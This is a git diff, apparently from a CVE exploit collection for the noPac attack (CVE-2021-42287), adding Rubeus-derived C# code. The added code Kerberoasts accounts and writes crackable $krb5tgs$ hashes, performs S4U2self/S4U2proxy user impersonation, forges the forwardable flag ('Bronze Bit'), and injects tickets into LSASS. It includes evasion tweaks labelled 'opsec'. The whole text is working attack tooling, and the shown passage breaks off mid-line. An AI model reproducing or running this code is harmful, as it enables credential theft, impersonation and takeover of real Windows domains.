but AES is supported AND we have a TGT, specify RC4 + bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); + Helpers.RandomDelayWithJitter(delay, jitter); + if (!result && autoenterprise) + { + Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); + servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); + GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, Interop.KERB_ETYPE.rc4_hmac); + Helpers.RandomDelayWithJitter(delay, jitter); + } + } + else + { + // otherwise don't force RC4 - have all supported encryption types for opsec reasons + bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc); + Helpers.RandomDelayWithJitter(delay, jitter); + if (!result && autoenterprise) + { + Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); + servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); + GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc); + Helpers.RandomDelayWithJitter(delay, jitter); + } + } + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); + Helpers.RandomDelayWithJitter(delay, jitter); + if (!result && autoenterprise) + { + Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); + servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); + GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); + Helpers.RandomDelayWithJitter(delay, jitter); + } + } + } + } + + if (userStats) + { + var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); + var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); + Console.WriteLine(); + + // display stats about the users found + foreach (var item in userETypes) + { + eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); + } + eTypeTable.Write(); + + foreach (var item in userPWDsetYears) + { + pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); + } + pwdLastSetTable.Write(); + } + } + catch (Exception ex) + { + Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); + return; + } + } + + if (!String.IsNullOrEmpty(outFile)) + { + Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); + } + } + + public static bool GetTGSRepHash(string spn, string userName = "user", string distinguishedName = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false) + { + // use the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach + + string domain = "DOMAIN"; + + if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) + { + // extract the domain name from the distinguishedname + Match dnMatch = Regex.Match(distinguishedName, "(?DC=.*)", RegexOptions.IgnoreCase); + string domainDN = dnMatch.Groups["Domain"].ToString(); + domain = domainDN.Replace("DC=", "").Replace(',', '.'); + } + + try + { + // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the + // GetRequest() stream was constributed to PowerView by @machosec + System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; + if (cred != null) + { + ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); + } + else + { + ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); + } + byte[] requestBytes = ticket.GetRequest(); + + if (!((requestBytes[15] == 1) && (requestBytes[16] == 0))) + { + Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); + return false; + } + + // ignore the GSSAPI frame + byte[] apReqBytes = new byte[requestBytes.Length - 17]; + Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); + + AsnElt apRep = AsnElt.Decode(apReqBytes); + + if (apRep.TagValue != 14) + { + Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); + } + + long encType = 0; + + foreach (AsnElt elem in apRep.Sub[0].Sub) + { + if (elem.TagValue == 3) + { + foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) + { + if (elem2.TagValue == 3) + { + foreach (AsnElt elem3 in elem2.Sub[0].Sub) + { + if (elem3.TagValue == 0) + { + encType = elem3.Sub[0].GetInteger(); + } + + if (elem3.TagValue == 2) + { + byte[] cipherTextBytes = elem3.Sub[0].GetOctetString(); + string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", ""); + string hash = ""; + + if ((encType == 18) || (encType == 17)) + { + //Ensure checksum is extracted from the end for aes keys + int checksumStart = cipherText.Length - 24; + //Enclose SPN in *s rather than username, realm and SPN. This doesn't impact cracking, but might affect loading into hashcat. + hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart)); + } + //if encType==23 + else + { + hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32)); + } + + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, hash + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + Console.WriteLine("[*] Hash written to {0}\r\n", outFilePath); + } + else if (simpleOutput) + { + Console.WriteLine(hash); + } + else + { + if (false) + { + bool header = false; + foreach (string line in Helpers.Split(hash, 80)) + { + if (!header) + { + Console.WriteLine("[*] Hash : {0}", line); + } + else + { + Console.WriteLine(" {0}", line); + } + header = true; + } + } + else + { + Console.WriteLine("[*] Hash : {0}", hash); + } + Console.WriteLine(); + } + } + } + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message); + return false; + } + return true; + } + + public static bool GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "user", string distinguishedName = "", string outFile = "", bool simpleOutput = false, bool enterprise = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial) + { + // use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method + string userDomain = "DOMAIN"; + + if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) + { + // extract the domain name from the distinguishedname + Match dnMatch = Regex.Match(distinguishedName, "(?DC=.*)", RegexOptions.IgnoreCase); + string domainDN = dnMatch.Groups["Domain"].ToString(); + userDomain = domainDN.Replace("DC=", "").Replace(',', '.'); + } + + // extract out the info needed for the TGS-REQ request + string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; + string domain = TGT.enc_part.ticket_info[0].prealm.ToLower(); + Ticket ticket = TGT.tickets[0]; + byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; + + // request the new service ticket + byte[] tgsBytes = null; + if (domain.ToLower() != userDomain.ToLower()) + { + tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, spn, requestEType, null, false, domainController, false, enterprise, false); + } + else + { + tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, spn, requestEType, null, false, domainController, false, enterprise, true); + } + + if (tgsBytes != null) + { + KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes); + DisplayTGShash(tgsKirbi, true, userName, userDomain, outFile, simpleOutput); + Console.WriteLine(); + return true; + } + + return false; + } + + public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, string kerberoastUser = "USER", string kerberoastDomain = "DOMAIN", string outFile = "", bool simpleOutput = false) + { + // output the hash of the encrypted KERB-CRED service ticket in a kerberoast hash form + + int encType = cred.tickets[0].enc_part.etype; + string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray()); + string domainName = cred.enc_part.ticket_info[0].prealm; + string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray()); + + string cipherText = BitConverter.ToString(cred.tickets[0].enc_part.cipher).Replace("-", string.Empty); + + string hash = ""; + //Aes needs to be treated differently, as the checksum is the last 24, not the first 32. + if ((encType == 18) || (encType == 17)) + { + int checksumStart = cipherText.Length - 24; + //Enclose SPN in *s rather than username, realm and SPN. This doesn't impact cracking, but might affect loading into hashcat. + hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart)); + } + //if encType==23 + else + { + hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(0, 32), cipherText.Substring(32)); + } + + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, hash + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + Console.WriteLine("[*] Hash written to {0}", outFilePath); + } + else if (simpleOutput) + { + Console.WriteLine(hash); + } + else + { + bool header = false; + if (false) + { + foreach (string line in Helpers.Split(hash, 80)) + { + if (!header) + { + if (kerberoastDisplay) + { + Console.WriteLine("[*] Hash : {0}", line); + } + else + { + Console.WriteLine(" Kerberoast Hash : {0}", line); + } + } + else + { + if (kerberoastDisplay) + { + Console.WriteLine(" {0}", line); + } + else + { + Console.WriteLine(" {0}", line); + } + } + header = true; + } + } + else + { + if (kerberoastDisplay) + { + Console.WriteLine("[*] Hash : {0}", hash); + } + else + { + Console.WriteLine(" Kerberoast Hash : {0}", hash); + } + } + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/S4U.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/S4U.cs new file mode 100644 index 0000000..64df01e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/S4U.cs @@ -0,0 +1,959 @@ +using System; +using System.IO; +using System.Linq; +using System.Net; +using System.Collections.Generic; +using Asn1; +using Rubeus.lib.Interop; + + +namespace Rubeus +{ + public class S4U + { + public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true) + { + // first retrieve a TGT for the user + byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, pac); + + if (kirbiBytes == null) + { + Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters"); + return; + } + else + { + Console.WriteLine("\r\n"); + } + + // transform the TGT bytes into a .kirbi file + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + // execute the s4u process + Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype); + } + public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string requestDomain = "", string impersonateDomain = "") + { + Console.WriteLine("[*] Action: S4U\r\n"); + + if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController)) + { + // do cross domain S4U + // no support for supplying a TGS due to requiring more than a single ticket + Console.WriteLine("[*] Performing cross domain constrained delegation"); + CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomainController, targetDomain); + } + else + { + if (tgs != null && String.IsNullOrEmpty(targetSPN) == false) + { + Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]); + S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, opsec); + } + else + { + KRB_CRED self = null; + if (!String.IsNullOrEmpty(targetDomain)) + { + // Get relevent information from provided referral ticket + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = targetDomain; + targetDomain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + // If these domains are empty, use the domain from the referral ticket + if (String.IsNullOrEmpty(impersonateDomain)) + impersonateDomain = targetDomain; + + if (String.IsNullOrEmpty(requestDomain)) + requestDomain = targetDomain; + + + KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, impersonateDomain), domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, altService, s, requestDomain, ptt); + } + else + { + self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec, bronzebit, keyString, encType); + if (self == null) + { + Console.WriteLine("[X] S4U2Self failed, unable to perform S4U2Proxy."); + return; + } + } + if (String.IsNullOrEmpty(targetSPN) == false) + { + S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self, opsec); + } + } + } + } + private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false) + { + Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); + if (!String.IsNullOrEmpty(altService)) + { + string[] altSnames = altService.Split(','); + if (altSnames.Length == 1) + { + Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); + } + else + { + Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); + } + } + + // extract out the info needed for the TGS-REQ/S4U2Proxy execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return; } + Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); + TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); + + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; + + s4u2proxyReq.req_body.realm = domain; + + string[] parts = targetSPN.Split('/'); + string serverName = parts[parts.Length-1]; + + s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + foreach(string part in parts) + { + s4u2proxyReq.req_body.sname.name_string.Add(part); + } + + // supported encryption types + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + + // add in the ticket from the S4U2self response + s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); + + // needed for authenticator checksum + byte[] cksum_Bytes = null; + + // the rest of the opsec changes + if (opsec) + { + // remove renewableok and add canonicalize + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + + // 15 minutes in the future like genuine requests + DateTime till = DateTime.Now; + till = till.AddMinutes(15); + s4u2proxyReq.req_body.till = till; + + // extra etypes + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + + // get hostname and hostname of SPN + string hostName = Dns.GetHostName().ToUpper(); + string targetHostName; + if (parts.Length > 1) + { + targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); + } + else + { + targetHostName = hostName; + } + + // create enc-authorization-data if target host is not the local machine + if (hostName != targetHostName) + { + // authdata requires key and etype from tgs + byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; + + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADRestrictionEntry restrictions = new ADRestrictionEntry(); + ADKerbLocal kerbLocal = new ADKerbLocal(); + ifrelevant.ADData.Add(restrictions); + ifrelevant.ADData.Add(kerbLocal); + AsnElt authDataSeq = ifrelevant.Encode(); + authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); + byte[] authorizationDataBytes = authDataSeq.Encode(); + byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); + s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); + } + + // encode req_body for authenticator cksum + AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); + cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); + } + + // moved to end so we can have the checksum in the authenticator + PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); + s4u2proxyReq.padata.Add(padata); + PA_DATA pac_options = new PA_DATA(false, false, false, true); + s4u2proxyReq.padata.Add(pac_options); + + byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); + + Console.WriteLine("[*] Sending S4U2proxy request"); + byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); + if (response2 == null) + { + return; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response2, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] S4U2proxy success!"); + + // parse the response to an TGS-REP + TGS_REP rep2 = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); + AsnElt ae2 = AsnElt.Decode(outBytes2, false); + EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); + + if (!String.IsNullOrEmpty(altService)) + { + string[] altSnames = altService.Split(','); + + foreach (string altSname in altSnames) + { + // now build the final KRB-CRED structure with one or more alternate snames + KRB_CRED cred = new KRB_CRED(); + + // since we want an alternate sname, first substitute it into the ticket structure + rep2.ticket.sname.name_string[0] = altSname; + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED + Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); + info.sname.name_string[0] = altSname; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + if (!String.IsNullOrEmpty(outfile)) + { + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + } + } + else + { + // now build the final KRB-CRED structure, no alternate snames + KRB_CRED cred = new KRB_CRED(); + + // if we want an alternate sname, first substitute it into the ticket structure + if (!String.IsNullOrEmpty(altService)) + { + rep2.ticket.sname.name_string[0] = altService; + } + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + if (!String.IsNullOrEmpty(outfile)) + { + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + } + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + } + private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial) + { + // extract out the info needed for the TGS-REQ/S4U2Self execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); + + Console.WriteLine("[*] Sending S4U2self request"); + byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); + if (response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] S4U2self success!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // if we want to use this s4u2self ticket for authentication, change the sname + if (!String.IsNullOrEmpty(altService) && self) + { + rep.ticket.sname.name_string[0] = altService.Split('/')[0]; + rep.ticket.sname.name_string.Add(altService.Split('/')[1]); + } + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + if (bronzebit && !String.IsNullOrEmpty(keyString)) + { + Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags); + info.flags |= Interop.TicketFlags.forwardable; + + // get user longterm key from keyString + byte[] key = Helpers.StringToByteArray(keyString); + + // decrypt and decode ticket encpart + var decTicketPart = rep.ticket.Decrypt(key, null, true); + + // modify flags + decTicketPart.flags |= Interop.TicketFlags.forwardable; + + // encode and encrypt ticket encpart + byte[] encTicketData = decTicketPart.Encode().Encode(); + byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); + rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno); + Console.WriteLine("[*] Flags changed to: {0}", info.flags); + } + + // add the ticket + cred.tickets.Add(rep.ticket); + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // if we want to use the s4u2self change the sname here too + if (!String.IsNullOrEmpty(altService) && self) + { + Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); + info.sname.name_string[0] = altService.Split('/')[0]; + info.sname.name_string.Add(altService.Split('/')[1]); + } + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); + Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + Console.WriteLine(""); + + if (!String.IsNullOrEmpty(outfile)) + { + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + if (ptt && self) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + return cred; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR 